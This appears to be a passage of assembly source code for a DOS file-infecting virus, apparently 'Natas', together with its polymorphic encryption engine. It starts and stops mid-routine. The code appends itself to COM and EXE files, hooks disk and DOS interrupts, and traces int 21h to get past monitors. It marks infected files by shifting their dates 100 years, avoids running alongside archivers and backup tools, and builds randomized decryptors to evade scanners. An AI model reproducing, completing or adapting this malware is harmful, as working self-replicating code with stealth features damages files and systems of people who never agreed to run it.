mov ax,301h
int 13h ; write it back
jc cant_infect
no_protect: inc cx ; CX=2
xchg cx,ds:[di.dcb_mode] ; read/write access mode
push cx
xor ax,ax
xchg ah,ds:[di.dcb_attr] ; attribute=0
test ah,00000100b ; system file?
push ax
jne cant_system
cbw
cwd
xchg ax,word ptr ds:[di.dcb_pos]
xchg dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
push ax dx
mov bp,-'OC'
add bp,word ptr ds:[di.dcb_ext] ; BP=0 of CO
jnz not_com
mov bp,-'MO'
add bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
not_com: call infect
pushf
call get_dcb
popf
jc not_infected
add byte ptr ds:[di.dcb_date+1],years ; add 100 years
not_infected: or byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
pop word ptr ds:[di.dcb_pos+2]
pop word ptr ds:[di.dcb_pos]
cant_system: pop word ptr ds:[di.dcb_attr-1] ; restore attribute
pop ds:[di.dcb_mode] ; restore access mode
cant_infect: mov ah,3eh
call call_21_file ; close file
undo_bios: call int_2_bios ; restore interrupts
;=====( Jump on to int 21h )=================================================;
jump_21: call undo_24 ; unhook int 24h
push cs
pop ds
mov al,1h
mov di,offset int_1
cmp byte ptr ds:[di+origin-int_1],al ; file origin?
jne jump_21_1
call get_int ; get int 1h address
mov ds:[di],bx
mov ds:[di + 2],es
mov byte ptr ds:[di+inst_count-int_1],5
mov ds:trace_mode,step_21
mov dx,offset tracer
call set_int ; hook int 1h
call pop_all
push si
pushf
pop si
call si_tf ; set TF
pop si
go_21: cli
mov ss,cs:int_21_ss
mov sp,cs:int_21_sp ; restore stack
sti
go_2_21: jmp cs:int_21
jump_21_1: call pop_all
jmp go_21
;=====( actual infection routine )===========================================;
infect: push cs
pop ds
call read_header ; read first 18h bytes
jc inf_bad_file
mov si,dx
mov di,offset work_header
cld
rep movsb ; copy header to work_header
call get_dcb
les ax,ds:[di.dcb_size] ; get file size
mov dx,es
mov word ptr ds:[di.dcb_pos],ax
mov word ptr ds:[di.dcb_pos+2],dx ; lseek to end
push cs cs
pop es ds
mov cx,ds:[si] ; get first 2 bytes
cmp cx,'MZ' ; .EXE file?
je inf_exe
cmp cx,'ZM' ; .EXE file?
je inf_exe
or dx,bp ; COM file and < 64k?
jnz inf_bad_file
cmp ax,0-(file_size+100)
ja inf_bad_file
cmp ax,1000
jb inf_bad_file
mov byte ptr ds:[si],0e9h ; build jump
inc ah ; Add PSP size (100h)
push ax ; save IP for engine
add ax,offset decrypt-103h ; get jump disp. (- PSP size)
mov ds:[si+1],ax
jmp append_vir
inf_bad_file: stc
retn
inf_exe: cmp word ptr ds:[si.eh_max_mem],-1
jne inf_bad_file
mov bp,ax
mov di,dx ; save size in DI:BP
mov cx,200h
div cx ; divide into pages
or dx,dx ; Any remainder?
jz no_round
inc ax
no_round: sub ax,ds:[si.eh_size] ; size same as header says?
jne inf_bad_file
sub dx,ds:[si.eh_modulo]
jne inf_bad_file
mov ax,file_size ; virus size
add ax,bp
adc dx,di ; + program size
div cx ; / 512
or dx,dx ; round up?
jz no_round1
inc ax
no_round1: mov ds:[si.eh_size],ax
mov ds:[si.eh_modulo],dx ; set new size
mov bx,0-(file_size+1000)
xor cx,cx
get_exe_ip: cmp bp,bx ; make sure virus does not
; cross segments
jb got_exe_ip
sub bp,10h ; down 10h bytes
loop get_exe_ip ; up 1 paragraph
got_exe_ip: cmp di,0fh
ja inf_bad_file
xchg cx,ax
mov cl,4
ror di,cl ; get segment displacement
or ax,ax
jz no_para_add
sub di,ax ; Add segments from LOOP
jnc inf_bad_file
no_para_add: sub di,ds:[si.eh_size_header] ; CS-header size in
; paragraphs
push bp ; save offset of v_start
add bp,decrypt-v_start
mov ds:[si.eh_ip],bp ; set IP
mov ds:[si.eh_cs],di ; set CS
add bp,512 ; 512 bytes of stack
mov ds:[si.eh_sp],bp ; set SP
mov ds:[si.eh_ss],di ; set SS
mov bp,8000h ; Tell engine "Exe file"
sar bx,cl ; 0 - ((file_size+1000h)/16)
mov ax,ds:[si.eh_min_mem]
sub ax,bx ; add file_size+1000h/16
jnb append_vir
mov ds:[si.eh_min_mem],ax
append_vir: pop ax
call engine ; encrypt/write/decrypt
push bp
popf
jc append_vir_err
call get_dcb
mov word ptr ds:[di.dcb_pos],cx
mov word ptr ds:[di.dcb_pos+2],cx ; lseek to start
mov ah,40h
mov dx,offset work_header
push cs
pop ds
call header_op ; write new header to file
append_vir_err: retn
;=====( Get DCB address for file )===========================================;
get_dcb: push ax bx
mov ax,1220h
mov bx,cs:handle ; get file handle
int 2fh ; get DCB number address
jc get_dcb_fail
mov ax,1216h
mov bl,es:[di] ; get DCB number
cmp bl,-1 ; Handle Openned?
cmc
je get_dcb_fail
int 2fh ; get DCB address
jc get_dcb_fail
push es
pop ds
test byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
cmc
jne get_dcb_fail
test byte ptr ds:[di.dcb_date+1],80h ; infected?
get_dcb_fail: pop bx ax
retn
;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;
int_2_bios: push ax bx dx ds
mov al,13h ; int 13h
mov di,offset int_13
int_2_bios_lp: push cs
pop ds
call get_int ; get int address
mov dx,es
xchg bx,ds:[di] ; swap offsets
cld
scasw
xchg dx,bx
xchg bx,ds:[di] ; swap segments
scasw
mov ds,bx ; DS:DX=new address
call set_int ; set int to DS:DX
cmp al,15h
mov al,15h
jnb int_2_bios_40 ; CY AL=13h
add di,4
jmp int_2_bios_lp
int_2_bios_40: mov al,40h
je int_2_bios_lp ; ZR AL=15h else AL=40h, exit
pop ds dx bx ax
retn
;=====( Read/write header to file )==========================================;
read_header: mov ah,3fh
cmp ax,0
org $ - 2
write_header: mov ah,40h
mov dx,offset header
header_op: mov cx,18h
call call_21_file ; read/write header
jc read_write_err
sub ax,cx
read_write_err: retn
;=====( Unhook int 24h )=====================================================;
undo_24: mov al,24h
lds dx,cs:int_24
call set_int ; unhook int 24h
in al,21h
and al,not 2 ; enable keyboard
out 21h,al
retn
;=====( Save returns after int 21h call )====================================;
save_returns: mov ss:[bp.reg_ax],ax
pushf
pop ss:[bp.reg_f]
retn
;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;
is_specialfile: push ax cx si di es
mov al,0
check_special = byte ptr $ - 1
or al,al ; Check for special?
jnz it_is_special
call get_psp ; get MCB of current PSP
mov ax,es:[di] ; get 1st 2 letters of name
cmp ax,'RA' ; ARj?
je it_is_special
cmp ax,'HL' ; LHa?
je it_is_special
cmp ax,'KP' ; PKzip?
je it_is_special
mov cx,2
mov si,offset backup
is_it_mod_bak: push cx di
mov cl,8
lods byte ptr cs:[si] ; get 'B' or 'M'
xor al,66h + 6h ; decrypt
repne scasb
jne is_it_mod
cmp cl,3
jb is_it_mod
mov cl,4
is_ode_ack: lods byte ptr cs:[si]
xor al,66h + 6h
jz is_it_mod ; 0 (done)?
scasb
loope is_ode_ack
is_it_mod: mov si,offset modem
pop di cx
loopne is_it_mod_bak
it_is_special: pop es di si cx ax
retn
backup: db 'B' xor (66h + 6h)
db 'A' xor (66h + 6h)
db 'C' xor (66h + 6h)
db 'K' xor (66h + 6h)
db 0 xor (66h + 6h)
modem: db 'M' xor (66h + 6h)
db 'O' xor (66h + 6h)
db 'D' xor (66h + 6h)
db 'E' xor (66h + 6h)
db 'M' xor (66h + 6h)
;=====( get current PSP segment )============================================;
get_psp: push ax bx
mov ah,62h
call call_21 ; get PSP segment
dec bx
mov es,bx ; MCB of current program
mov di,8h ; offset of file name
cld
pop bx ax
retn
;=====( Get DTA address )====================================================;
get_dta: mov ah,2fh
call call_21 ; DTA address into ES:BX
push es
pop ds
retn
call_dos_13: call swap_13
pushf
call cs:dos_13
call swap_13
retn
call_disk: test dl,80h ; ZF -> Floppy disk (int 40h)
je call_40
call_13: pushf
call cs:int_13
retn
call_21_file: mov bx,0
handle = word ptr $ - 2
call_21: pushf
push cs
call go_2_21
retn
call_40: pushf
call cs:int_40
retn
include eng.asm
db "Natas",0
even
decrypt: mov word ptr ds:[100h],1f0eh ; PUSH CS/POP DS
mov byte ptr ds:[102h],0e8h ; CALL
jmp file_start
org decrypt + 150
header dw 18h / 2 dup(20cdh)
file_end:
work_header dw 18h / 2 dup(?)
write_buff: db encode_end-encode dup(?)
int_21_ss dw ?
int_21_sp dw ?
dw 256 / 2 dup(?)
temp_stack:
jump_code_13 db 5 dup(?)
jump_code_21 db 5 dup(?)
int_1 dd ?
int_24 dd ?
int_13 dd ?
dos_13 dd ?
int_15 dd ?
int_40 dd ?
int_21 dd ?
new_24: db 3 dup(?)
push_pop_ret dw ?
pointer dw ?
disp dw ?
encode_ptr dw ?
encode_enc_ptr dw ?
key_reg db ?
count_reg db ?
ptr_reg db ?
ptr_reg1 db ?
modify_op db ?
origin db ?
inst_count db ?
disk_buff db 512 dup(?)
v_end:
;=====( Very useful structures )=============================================;
;=====( Memory Control Block structure )=====================================;
mcb struc
mcb_sig db ? ; 'Z' or 'M'
mcb_owner dw ? ; attribute of owner
mcb_size dw ? ; size of mcb block
mcb_name db 8 dup(?) ; file name of owner
mcb ends
;=====( For functions 11h and 12h )==========================================;
Directory STRUC
DS_Drive db ?
DS_Name db 8 dup(0)
DS_Ext db 3 dup(0)
DS_Attr db ?
DS_Reserved db 10 dup(0)
DS_Time dw ?
DS_Date dw ?
DS_Start_Clust dw ?
DS_Size dd ?
Directory ENDS
;=====( for functions 4eh and 4fh )==========================================;
DTA STRUC
DTA_Reserved db 21 dup(0)
DTA_Attr db ?
DTA_Time dw ?
DTA_Date dw ?
DTA_Size dd ?
DTA_Name db 13 dup(0)
DTA ENDS
Exe_Header STRUC
EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo dw ? ; remainder of file size/512
EH_Size dw ? ; file size/512
EH_Reloc dw ? ; Number of relocation items
EH_Size_Header dw ? ; Size of header in paragraphs
EH_Min_Mem dw ? ; Minimum paragraphs needed by file
EH_Max_Mem dw ? ; Maximum paragraphs needed by file
EH_SS dw ? ; Stack segment displacement
EH_SP dw ? ; Stack Pointer
EH_Checksum dw ? ; Checksum, not used
EH_IP dw ? ; Instruction Pointer of Exe file
EH_CS dw ? ; Code segment displacement of .exe
eh_1st_reloc dw ? ; first relocation item
eh_ovl dw ? ; overlay number
Exe_Header ENDS
Boot_Sector STRUC
bs_Jump db 3 dup(?)
bs_Oem_Name db 8 dup(?)
bs_Bytes_Per_Sector dw ?
bs_Sectors_Per_Cluster db ?
bs_Reserved_Sectors dw ?
bs_FATs db ? ; Number of FATs
bs_Root_Dir_Entries dw ? ; Max number of root dir entries
bs_Sectors dw ? ; number of sectors; small
bs_Media db ? ; Media descriptor byte
bs_Sectors_Per_FAT dw ?
bs_Sectors_Per_Track dw ?
bs_Heads dw ? ; number of heads
bs_Hidden_Sectors dd ?
bs_Huge_Sectors dd ? ; number of sectors; large
bs_Drive_Number db ?
bs_Reserved db ?
bs_Boot_Signature db ?
bs_Volume_ID dd ?
bs_Volume_Label db 11 dup(?)
bs_File_System_Type db 8 dup(?)
Boot_Sector ENDS
Partition_Table STRUC
pt_Code db 1beh dup(?) ; partition table code
pt_Status db ? ; 0=non-bootable 80h=bootable
pt_Start_Head db ?
pt_Start_Sector_Track dw ?
pt_Type db ? ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
pt_End_Head db ?
pt_End_Sector_Track dw ?
pt_Starting_Abs_Sector dd ?
pt_Number_Sectors dd ?
Partition_Table ENDS
int_1_stack STRUC
st_ip dw ? ; offset of next instruction after
; interrupt
st_cs dw ? ; segment of next instruction
st_flags dw ? ; flags when interrupt was called
int_1_stack ENDS
;----------------------------------------------------------------------------;
; Dcb description for DOS 3+ ;
; ;
; Offset Size Description ;
; 00h WORD number of file handles referring to this file ;
; 02h WORD file open mode (see AH=3Dh) ;
; bit 15 set if this file opened via FCB ;
; 04h BYTE file attribute ;
; 05h WORD device info word (see AX=4400h) ;
; 07h DWORD pointer to device driver header if character device ;
; else pointer to DOS Drive Parameter Block (see AH=32h) ;
; 0Bh WORD starting cluster of file ;
; 0Dh WORD file time in packed format (see AX=5700h) ;
; 0Fh WORD file date in packed format (see AX=5700h) ;
; 11h DWORD file size ;
; 15h DWORD current offset in file ;
; 19h WORD relative cluster within file of last cluster accessed ;
; 1Bh WORD absolute cluster number of last cluster accessed ;
; 0000h if file never read or written??? ;
; 1Dh WORD number of sector containing directory entry ;
; 1Fh BYTE number of dir entry within sector (byte offset/32) ;
; 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) ;
; 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file ;
; 2Fh WORD (SHARE.EXE) network machine number which opened file ;
; 31h WORD PSP segment of file's owner (see AH=26h) ;
; 33h WORD offset within SHARE.EXE code segment of ;
; sharing record (see below) 0000h = none ;
;----------------------------------------------------------------------------;
dcb struc
dcb_users dw ?
dcb_mode dw ?
dcb_attr db ?
dcb_dev_attr dw ?
dcb_drv_addr dd ?
dcb_1st_clst dw ?
dcb_time dw ?
dcb_date dw ?
dcb_size dd ?
dcb_pos dd ?
dcb_last_clst dw ?
dcb_current_clst dw ?
dcb_dir_sec dw ?
dcb_dir_entry db ?
dcb_name db 8 dup(?)
dcb_ext db 3 dup(?)
dcb_useless1 dw ?
dcb_useless2 dw ?
dcb_useless3 dw ?
dcb_psp_seg dw ?
dcb_useless4 dw ?
dcb ends
bpb STRUC
bpb_Bytes_Per_Sec dw ?
bpb_Sec_Per_Clust db ?
bpb_Reserved_Sectors dw ?
bpb_FATs db ? ; Number of FATs
bpb_Root_Dir_Entries dw ? ; Max number of root dir entries
bpb_Sectors dw ? ; number of sectors; small
bpb_Media db ? ; Media descriptor byte
bpb_Sectors_Per_FAT dw ?
bpb_Sectors_Per_Track dw ?
bpb_Heads dw ? ; number of heads
bpb_Hidden_Sectors dd ?
bpb_Huge_Sectors dd ? ; number of sectors; large
bpb_Drive_Number db ?
bpb_Reserved db ?
bpb_Boot_Signature db ?
bpb_Volume_ID dd ?
bpb_Volume_Label db 11 dup(?)
bpb_File_System_Type db 8 dup(?)
bpb ENDS
register struc
reg_es dw ?
reg_ds dw ?
reg_di dw ?
reg_si dw ?
reg_bp dw ?
reg_dx dw ?
reg_cx dw ?
reg_bx dw ?
reg_ax dw ?
reg_f dw ?
register ends
sys_file struc
sys_next dd ?
sys_strat dw ?
sys_int dw ?
sys_file ends
end
-----------------------------<<eng.asm>>---------------------------------------
_ax equ 0
_cx equ 1
_dx equ 2
_bx equ 3
_sp equ 4
_bp equ 5
_si equ 6
_di equ 7
engine: mov ds:pointer,ax ; save IP
mov di,offset decrypt
mov bx,offset make_count
mov cx,offset make_key
mov dx,offset make_ptr
mov si,offset order_ret
or bp,11101111b ; SP is used
call order ; randomize and call registers
push di ; save start of loop
push di
mov si,offset encode
mov di,offset write_buff
mov cx,encode_end-encode
rep movsb ; copy write code
mov ds:encode_ptr,offset (encode_break-encode)+write_buff
pop di
mov bx,offset make_enc
mov cx,offset make_keychange
mov dx,offset make_deccount
mov si,offset make_incptr
call order ; call routines
;=====( Preform loop )=======================================================;
mov ax,2
push ax
call random ; test BP for 4000?
pop ax
jz loop_no_test
test bp,4000h ; possible to just "Jcc"?
jnz loop_make_jcc
loop_no_test: call random
jz loop_no_test1
test bp,2000h ; use loop?
jnz loop_make_jcc
loop_no_test1: or bp,800h ; do not change flags
mov ax,2
cwd
call random ; try OR/AND/TEST reg,reg
; or XOR/ADD/OR/SUB reg,0?
mov al,ds:count_reg ; get counter
jnz loop_orandtest
call boolean ; do XOR/OR/ADD or ADD/SUB?
jnz loop_modify
call add_reg ; ADD/SUB reg,0
jmp loop_make_jcc
loop_modify: call modify_reg ; XOR/OR/ADD reg,0
jmp loop_make_jcc
loop_orandtest: mov cl,3
mov ch,al
shl ch,cl
or al,ch ; set reg1 as reg2 also
mov bx,2 ; OR/AND/TEST
call random_bx
jnz loop_and
or ax,9c0h ; OR reg1, reg2
loop_reverse: call boolean ; use 9 or 11?
jnz loop_orandteststo
or ah,2h ; reg2, reg1
jmp loop_orandteststo
loop_and: dec bx
jnz loop_test
or ax,21c0h ; AND reg1, reg2
jmp loop_reverse
loop_test: or ax,85c0h ; TEST reg1, reg2
loop_orandteststo:
xchg al,ah
stosw ; store TEST/OR/AND
or bp,1800h ; do not change flags/
; test stored
call garble
loop_make_jcc: and bp,not 800h
test bp,2000h ; code loop?
jz loop_make_jump
mov al,0e2h ; LOOP
test bp,1000h ; possible to use LOOPNZ/Z?
jz loop_code_disp
call boolean
jnz loop_code_disp
dec ax ; LOOPZ
call boolean
jnz loop_iscx
dec ax ; LOOPNZ
jmp loop_code_disp
;=====( Now make conditional jump )==========================================;
jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE
loop_make_jump: mov bx,offset jcc_tbl
mov ax,3
call random
xlat ; get Conditional jump
mov bx,2
call random_bx ; use JE/JS/LE/L then JMP?
jnz loop_code_disp
cmp ds:count_reg,_cx ; CX is counter?
jnz loop_notcx
mov bl,4
call random_bx
jnz loop_notcx
mov al,0e3h + 1 ; JCXZ + 1
loop_notcx: dec ax
loop_iscx: stosw
cmp al,07fh ; Jcxz/loopz?
ja loop_code_short
call boolean ; Use opposite or EB?
jnz loop_code_short
or bp,800h ; dont change flags
loop_code_short:mov si,di ; save offset of displacement
call garble
lea ax,ds:[si-2]
sub ax,di
neg al ; get jump displacement
mov ds:[si-1],al ; save it
test bp,800h ; Dont change flags -> "Jcc"
mov al,0ebh ; Jmp short
je loop_code_disp
mov ax,3
call random
mov bx,offset jcc_tbl
xlat ; Get JNE/JNS/JG/JGE
loop_code_disp: stosb ; store jump
pop ax ; start of loop
dec ax
sub ax,di ; get loop displacement
stosb
or bp,11101111b ; free all registers
and bp,not 800h ; allow flags to change
call garble
mov ax,19
call random ; 1 in 20 chance of non-jmp
jnz loop_code_jmp
mov ax,ds:pointer
add ax,offset file_start ; where to jump
xchg dx,ax
call get_reg ; get a register
call mov_reg ; Mov value into register
or ax,0ffc0h + (4 shl 3) ; JMP reg16
call boolean ; PUSH/RET or JMP reg16?
jnz loop_code_push
xchg al,ah
jmp loop_code_stosw
loop_code_push: mov bx,2
call random_bx ; 1 in 3 chance of FF /6 PUSH
jnz loop_code_push1
xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg
xchg al,ah
stosw
jmp loop_code_ret
loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
stosb
loop_code_ret: call garble
mov al,0c3h ; RETN
stosb
jmp loop_code_end
loop_code_jmp: mov al,0e9h
stosb ; Store Jump
lea ax,ds:[di-((file_start-2)-v_start)]
neg ax ; Jmp file_start
loop_code_stosw:stosw
loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr
cmp di,offset header ; Decryptor is too large?
jb go_write_buff
stc ; return error
pushf
pop bp
retn
go_write_buff: jmp write_buff ; encrypt/write/decrypt
;=====( Inc pointer )========================================================;
make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers
mov dx,2 ; ADD ptr,2
cmp ah,-1 ; two registers used?
jz make_incptr_1
call boolean ; do one or both?
jnz make_incptr_do1
dec dx ; ADD ptr,1
call make_incptr_do1
jmp make_incptr_2
make_incptr_do1:call boolean
jnz make_incptr_1
make_incptr_2: xchg al,ah
make_incptr_1: call add_reg
sub ds:disp,dx ; add to displacement
retn
;=====( Dec counter )========================================================;
make_deccount: cmp si,offset make_deccount ; last operation?
jnz make_deccount_notlast
call boolean ; do it?
jnz make_deccount_notlast
or bp,4800h ; remember we're last
make_deccount_notlast:
mov al,ds:count_reg
cmp al,_cx ; possible to use LOOP/LOOPNZ?
jnz make_deccount_notcx
call boolean
jnz make_deccount_notcx
or bp,2000h ; do LOOP
jmp make_deccount_exit
make_deccount_notcx:
mov dx,-1 ; ADD counter,-1
call add_reg
make_deccount_exit:
or bp,400h ; deccount executed
retn
;=====( Make encryption instruction )========================================;
make_enc: push bp
and bp,not 400h
mov al,ds:key_reg
push ax ; save key register
make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL
call random
mov bx,0105h ; ADD [DI],AX
mov cx,1119h ; ADC/SBB
mov dx,2905h ; SUB [DI],AX
jz make_enc_add
dec ax
jz make_enc_sub
dec ax
jnz make_enc_ror
mov bh,31h ; XOR
mov dx,3105h ; XOR [DI],AX
jmp make_enc_sto
make_enc_ror: cmp ds:key_reg,_cx ; CX is key?
jne make_enc_which
or bp,400h ; Put XCHG CX,AX
mov bh,0d3h
mov dx,0d30dh ; ROL
dec ax
jz r_make_enc_sto
xchg bx,dx ; ROR
r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08
; D3 00 = ROL [],CL
jmp make_enc_sto
make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX
xchg cl,ch ; SBB/ADC
make_enc_add: call boolean ; do Carry?
jnz make_enc_sto
push bx
mov bh,ch ; Make it ADC/SBB
call clear_carry
cmp al,0
org $ - 1
make_enc_sto: push bx
test bp,8000h ; EXE file?
jz make_enc_com
call is_bp_ptr ; is BP a pointer?
je make_enc_com
mov al,2eh ; CS:
call boolean
jnz make_enc_cs
mov al,36h ; SS:
make_enc_cs: stosb ; store segment override
make_enc_com: mov al,bh
stosb ; store instruction
mov ax,word ptr ds:ptr_reg ; get pointer registers
cmp ah,-1 ; second reg?
je make_enc_xlat
add al,ah
make_enc_xlat: mov bx,offset rm_tbl
xlat ; get r/m
call is_bp_ptr ; is BP a pointer?
jnz make_enc_nobp
inc ah ; is there a second reg?
jne make_enc_nobp
or al,01000000b ; [BP+xx]
make_enc_nobp: mov cx,ds:disp ; get displacement
mov bx,6
call random_bx ; allow no displacement?
jz make_enc_get_disp
jcxz make_enc_sto_rm
make_enc_get_disp:
or al,01000000b ; 8bit displacement
call boolean ; allow 8bit displacement?
jnz make_enc_16bit
cmp cx,7fh ; 8bit displacement?
jbe make_enc_sto_rm
cmp cx,-80h
jb make_enc_16bit
xor ch,ch
cmp ax,0
org $ - 2
make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on
make_enc_sto_rm:mov ah,ds:key_reg
shl ah,1
shl ah,1
shl ah,1 ; from bits 0-2 of AH
or al,ah ; to bits 3-5 of AL
stosb ; store r/m byte
test al,11000000b ; any displacement?
jz make_enc_disp
test al,10000000b ; 16bit displacement?
xchg cx,ax
stosw ; store displacement
jnz make_enc_disp
dec di ; 8bit only
make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr
test bp,400h ; store XCHG CX,AX?
je make_enc_nor
mov al,91h ; XCHG CX,AX
stosb
make_enc_nor: xchg dx,ax
xchg al,ah
mov ds:encode_enc_ptr,di ; save instruction pointer
stosw ; set encryption instruction
je make_enc_nor1
mov al,91h ; XCHG CX,AX
stosb
make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr
pop ax
xchg al,ah
mov word ptr ds:write_buff[encode_flip-encode],ax
; save opposite operation
pop ax
mov ds:key_reg,al ; restore key register
pop bp
retn
rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used
;=====( Change key )=========================================================;
make_keychange: call boolean ; change key?
jnz make_keychange_yes
retn
make_keychange_yes:
push bp
or bp,200h ; let know that keychange
mov ax,3
call random ; 1 in 4 chance of modify_reg
jnz keychange_other
call random_1
xchg dx,ax ; Random value to modify key
; reg by
mov al,ds:key_reg
call modify_reg ; XOR/ADD/OR
keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode
inc di ; CLC
mov al,ds:modify_op ; get operation
stosb
keychange_stodx:xchg dx,ax ; store value/operation
keychange_sto: stosw
xchg di,ds:encode_ptr ; get decrypt pointer
pop bp
retn
keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD
call random
jnz keychange_rol
mov ax,0d1c0h ; ROR AX,1
keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL
call random_bx
jnz keychange_nocl
cmp ds:count_reg,_cx ; Count is CX?
jne keychange_nocl
test bp,400h ; Count already decremented?
jnz keychange_nocl
or ah,2 ; By CL
keychange_nocl: xchg al,ah
push ax
or ah,ds:key_reg ; set key register
stosw ; store instruction
pop ax
xchg di,ds:encode_ptr ; get encode ptr
jmp keychange_sto
keychange_rol: dec ax
jnz keychange_not
mov ax,0d1c0h or (1 shl 3) ; ROL AX,1
jmp keychange_cl
keychange_not: dec ax
jnz keychange_neg
mov ax,0f7c0h + (2 shl 3) ; NOT AX
jmp keychange_nocl
keychange_neg: dec ax
jnz keychange_add
mov ax,0f7c0h + (3 shl 3) ; NEG AX
jmp keychange_nocl
keychange_add: call random_1
xchg dx,ax
mov al,ds:key_reg ; get key register
call add_reg ; ADD reg(ax), value(dx)
jmp keychange_stoop
;=====( Build key )==========================================================;
make_key: call get_reg ; get register
xchg dx,ax
call random_1 ; get key
mov ds:key,ax ; save key
xchg dx,ax
mov ds:key_reg,al ; save register
call mov_reg ; MOV reg(ax),value(dx)
retn
;=====( Build counter )======================================================;
make_count: call get_reg ; get register
mov ds:count_reg,al ; save register
mov dx,(decrypt-v_start)/2 ; # of words to crypt
call mov_reg ; mov reg(ax),value(dx)
retn
;=====( Build Pointer )======================================================;
make_ptr: mov dx,ds:pointer
call get_ptr_reg ; get DI/SI/BP/BX
mov ds:ptr_reg,al
mov ds:ptr_reg1,-1
mov bx,3
call random_bx ; 1 in 4 chance of 2 regs
jnz make_ptr_2
cmp al,_si
mov bx,11000000b ; DI/SI
jb make_ptr_test
mov bl,00101000b ; BP/BX
make_ptr_test: test bp,bx ; 'other' availible?
jz make_ptr_2
make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX
push ax
call conv_num ; convert to bit-map number
test al,bl ; is it other type?
pop ax
jnz make_ptr_ok
call del_reg ; delete register
jmp make_ptr_again
make_ptr_ok: mov ds:ptr_reg1,al ; save second register
mov bx,-1
call random_bx
sub dx,bx ; randomize values
xchg bx,dx
call mov_reg ; mov reg(ax), value(dx)
xchg bx,dx
mov al,ds:ptr_reg ; get first reg
make_ptr_2: xor bx,bx ; zero displacement
call boolean ; use one?
jnz make_ptr_nodisp
mov bx,-1
call random_bx
sub dx,bx ; subtract displacement
make_ptr_nodisp:mov ds:disp,bx ; save displacement
call mov_reg ; mov reg(ax), value(dx)
retn
;=====( Shell for mov_reg1 )=================================================;
mov_reg: push bx dx
mov bx,4
call random_bx ; 1 in 5 chance of MOV/ADD/SUB
jnz mov_reg_call
mov bx,-1
call random_bx ; get random #
sub dx,bx ; MOV reg, value-random #
call mov_reg1 ; do MOV reg,
mov dx,bx
call add_reg ; Now add difference
pop dx bx
retn
mov_reg_call: pop dx bx
;=====( Mov reg(ax), value(dx) )=============================================;
mov_reg1: push ax bx cx dx
cbw
mov bx,2
call random_bx ; MOV or SUB/XOR ADD/OR/XOR
jz mov_reg_other
mov bl,2
call random_bx ; 1 in 3 chance of c6/c7 MOV
jnz mov_reg_b0
or ax,0c7c0h ; MOV reg,imm
call boolean ; Do long MOV or LEA?
jnz mov_reg_c7
mov cl,3
shl al,cl ; Reg -> bits 3,4,5
xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm]
mov_reg_c7: xchg al,ah
stosw ; store it
mov_reg_sto: xchg dx,ax
stosw ; store value
call garble
mov_reg_exit: jmp modify_pop
mov_reg_b0: or al,0b8h ; MOV reg,imm
stosb
jmp mov_reg_sto
mov_reg_other: push ax
mov cl,3
mov ch,al
shl ch,cl ; copy reg1 to reg2
or al,ch ; set it
call boolean
jnz mov_reg_other1
or ah,2 ; reg1, reg2 -> reg2, reg1
mov_reg_other1: call boolean
jnz mov_reg_xor
or ax,29c0h ; SUB reg, reg
call boolean
jnz mov_reg_other_sto
xor ah,19h xor 29h ; SBB reg, reg
call clear_carry ; clear carry flag
mov_reg_other_sto:
xchg al,ah
stosw
call garble
pop ax
call modify_reg ; ADD/OR/XOR reg(ax),value(dx)
jmp mov_reg_exit
mov_reg_xor: or ax,31c0h ; XOR AX,AX
jmp mov_reg_other_sto
;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
modify_reg: push ax bx cx dx
cbw
mov bx,2
call random_bx
mov cx,3500h + (6 shl 3) ; XOR
jz modify_reg_cont
mov cx,0d00h + (1 shl 3) ; OR
dec bx
jz modify_reg_cont
modify_reg_add: mov cx,0500h ; ADD
call boolean ; ADC or ADD?
jnz modify_reg_cont
mov cx,1500h + (2 shl 3) ; ADC
modify_reg_clc: call clear_carry ; Clear carry flag
modify_reg_cont:test bp,200h ; keychange executing?
jz modify_reg_nosave
mov ds:modify_op,ch ; save AX operation
modify_reg_nosave:
call boolean ; check if AX?
jnz modify_reg_noax
or al,al ; AX?
jnz modify_reg_noax
mov al,ch
stosb ; store instruction
xchg dx,ax
modify_sto: stosw ; store value
modify_exit: call garble
modify_pop: pop dx cx bx ax
retn
modify_reg_noax:or ax,81c0h
or al,cl ; XOR/OR/ADD
call boolean ; sign extend?
jnz modify_reg_nosign
cmp dx,7fh ; possible to sign extend?
jbe modify_sign
cmp dx,-80h
jb modify_reg_nosign
modify_sign: or ah,2 ; sign extend
modify_reg_nosign:
xchg al,ah
stosw
test al,2 ; sign extended?
xchg dx,ax
je modify_sto
stosb
jmp modify_exit
;=====( ADD reg(ax), value(dx) )=============================================;
add_reg: push ax bx cx dx
cbw
mov cx,dx
add_loop: mov bx,3
call random_bx ; 1 in 4 chance of ADD/SUB
jz add_noinc
mov bx,40c0h ; INC reg
test bp,200h ; keychange running?
jz add_nosave
mov ds:modify_op,05h ; ADD AX,
add_nosave: cmp cx,3h ; too high to INC?
jb add_inc
neg cx
cmp cx,3h ; too low to DEC?
ja add_noinc
mov bx,48c0h + (1 shl 3) ; DEC reg
